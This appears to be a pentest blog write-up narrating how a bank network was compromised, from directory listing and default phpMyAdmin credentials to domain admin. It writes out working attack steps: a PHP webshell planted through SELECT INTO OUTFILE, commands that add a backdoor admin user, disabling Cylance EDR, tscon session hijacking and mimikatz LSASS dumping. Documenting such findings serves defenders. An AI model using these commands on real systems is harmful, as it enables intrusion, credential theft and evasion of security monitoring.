Skip to content

From Directory Listing to Owning a Bank: A Wild Ride with phpMyAdmin, XAMPP, and a PAM that Didn't Give a Damn

The Setup: "Oops, We Left Everything Open"

So there I was, minding my own business (aka breaking into a bank’s network for totally legal reasons), when I stumbled upon a webserver running XAMPP on a fully patched Windows Server. At first, I thought, "Okay, maybe they actually know what they're doing." Then, I ran dirb and found directory listing enabled. Rookie mistake #1.

Step 1: The Accidental Gift – Directory Listing

It all started with a simple directory listing. Because why secure your webserver when you can just hand out your internal file structure to anyone with an internet connection? I ran:

dirb http://targetbank.com/
Boom. A treasure trove of exposed files, including a /phpmyadmin/ folder. At that moment, the attack pathway drew itself on my mind. (Since you can't read minds, I've decided to write it down below.)

    +------------------------+
    |    My Computer         |  
    |    (Attacker)          |  
    +------------------------+
              |
              | Sends HTTP request: 
              | `GET /phpmyadmin/ HTTP/1.1`
              v
    +------------------------+
    |     XAMPP Web Server   |  
    |   (bankserver:80)      |
    |  +-------------------+ |
    |  |  htdocs/          | |
    |  |  + index.php      | |
    |  |  + dashboard/     | |
    |  |  + server-status  | |
    |  |  + ...            | |
    |  +-------------------+ |
    |  +-------------------+ |
    |  | phpMyAdmin/       | |
    |  |  + index.php      | |  <-- phpMyAdmin login page
    |  |  + config.inc.php | |
    |  |  + libraries/     | |
    |  |  + themes/        | |
    |  +-------------------+ |
    +------------------------+
              |
              | Then, I will accesse the phpMyAdmin login page: 
              | `http://bankserver/phpmyadmin/`
              v
    +------------------------+
    |    phpMyAdmin Login    |  
    |    Page Exposed        |
    |    (I will try to      |
    |    log in)             |
    +------------------------+
              |
              | I will execute a malicious query using `SELECT INTO OUTFILE`:
              | `SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';`
              v
    +-----------------------------------------------------+
    |   SQL Query Execution                               |  
    |   `SELECT INTO OUTFILE` command creates a webshell: |
    |   - `shell.php` containing:                         |
    |     `<?php system($_GET["cmd"]); ?>`                |
    +-----------------------------------------------------+
              |
              | File `shell.php` is created in the XAMPP document root:
              | `C:\xampp\htdocs\shell.php`
              v
    +---------------------------------+
    |    Server File System           |
    |     (Webshell Created)          |
    |     - C:\xampp\htdocs\shell.php |
    +---------------------------------+
              |
              | Now, I only have to accesses the webshell via:
              | `http://bankserver/shell.php?cmd=whoami`
              v
    +--------------------------------------------------------+
    |    Webshell Execution                                  |
    |    - Just sends GET request                            |
    |      to execute arbitrary commands on the server       |
    |    - Example: `http://bankserver/shell.php?cmd=whoami` |
    +--------------------------------------------------------+

Step 2: Oh Look, PhpMyAdmin – Let’s Try Defaults and give them a surprise!

I took a gamble and tried the usual default credentials:

Username: root
Password: (blank)
Guess what? It worked. Because, of course, it did lol. Rookie mistake #2. With full control over the database, I simply used SELECT INTO OUTFILE to write a PHP web shell directly into htdocs.
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
Boom. Webshell live at http://bankserver/shell.php.

+--------------------------------+
| Web Shell Created              |
| URL: /shell.php                |
| Command: system($_GET['cmd']); |
+--------------------------------+

Step 3: Making Myself at Home (Persistence 101)

Checking the privileges, I realized XAMPP was running under NT AUTHORITY\SYSTEM. Oh, this was going to be fun. Rookie mistake #3. And also, I wasn’t about to leave this beautiful new playground unprotected. So, using my webshell, I ran:

curl "http://targetbank.com/shell.php?cmd=net user pentester mysecurepassword /add"
curl "http://targetbank.com/shell.php?cmd=net localgroup administrators pentester /add"
BOOOOM!!! Hello, new local admin user.

[ Windows Server ]
+--------------------------------------+
| Users:                               |
|  - Administrator                     |
|  - Guest                              |
|  - pentester (New Admin!)            |
+--------------------------------------+
After creating the Local Admin User I connected to the server using RDP to make it easier for me to harvest information or credentials(using Mimikatz).

Step 4: Fighting Cylance EDR (and Winning)

This is where things got even funnier. Every time I tried to run Mimikatz, Cylance EDR slapped me like an overprotective parent. So I tried stopping the service:

sc stop Cylance
Cylance: "LOL, you thought." The service was marked non-stoppable.

But guess what? I could still change the startup type:

sc config Cylance start= demand
Now the job was done, we could only just reboot the server to send Cylance EDR to sleep.

Step 5: RDP and Session Hijacking

First, I used PsExec to elevate myself to SYSTEM:

PsExec.exe -s -i cmd.exe
Then, I checked for other active/Idle sessions using the command below:
query session
Guess what? Administrator left their session inactive but alive. Rookie mistake #4.

[ Sessions ]
+--------------------------------+
| ID  | User        | Status     |
|  0  | SYSTEM      | Active     |
|  1  | pentester   | Active     |
|  2  | Administrator | Idle     | <-- (Hijack this!)
+--------------------------------+
Then I executed the command below,

tscon 2 /dest:console
And......Boooooom — Administrator session hijacked.

I was roaming around when I noticed there was a network drive mounted for the user Administrator. The mounted directory contained the following:

[ Compromised Bank Server ] --> [ Mounted Shared Drive ]
                      /------------------------------------\
                      | Procedures                          |
                      | Documentation                       |
                      |     |-> CyberArk_Url.txt            |
                      |     |-> Other stuffs I can't recall |
                      | Procurement                         |
                      | Reports                             |
                      |     |-> Pentest report 2023         |
                      \-------------------------------------/
When I saw CyberArk I already knew the more juicy stuffs were held there.(side eye) But then… poof! I got kicked out. For some obscure reason, my session got terminated. Maybe someone noticed, maybe it was just dumb luck, but I had to go back to my LSASS dump.

So, I cracked the dump offline:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
Or using Linux:
pypykatz lsa minidump lsass.dmp
And got creds for BankAdmin1, a local admin account used on multiple critical servers. (because why follow best practices, right?)

Step 6: The Domain Controller & The CyberArk "PAM" Disaster

While moving laterally, I hit the Domain Controller. So, I: - Used the credentials obtained from LSASS dump cracking. - Logged into the Domain Controller. - Created a domain admin account. - Added special permissions to that account to be able to use the PAM.

Then I logged into CyberArk and... oh boy. It gave me access to the core banking system.

The Aftermath

+---------------------------------------+
| [ Me ] --> "Mission Complete 😏"      |
| - Domain Admin Access                 |
| - Bypassed EDR                        |
| - Full Control of Bank Network        |
+---------------------------------------+

At this point, I basically had the keys to the kingdom. This entire chain of failures was due to a mix of: 1. Directory listing enabled 2. phpMyAdmin with default creds 3. XAMPP running as SYSTEM 4. EDR that I could disable with a simple restart 5. A bank that stored their own security tool URLs in a plaintext file 6. Domain-wide local admin credentials

Moral of the Story:

Secure your systems, disable default credentials, and please don’t leave your privileged accounts lying around. Otherwise, you’ll end up reading about your security failures in a blog post like this. 😏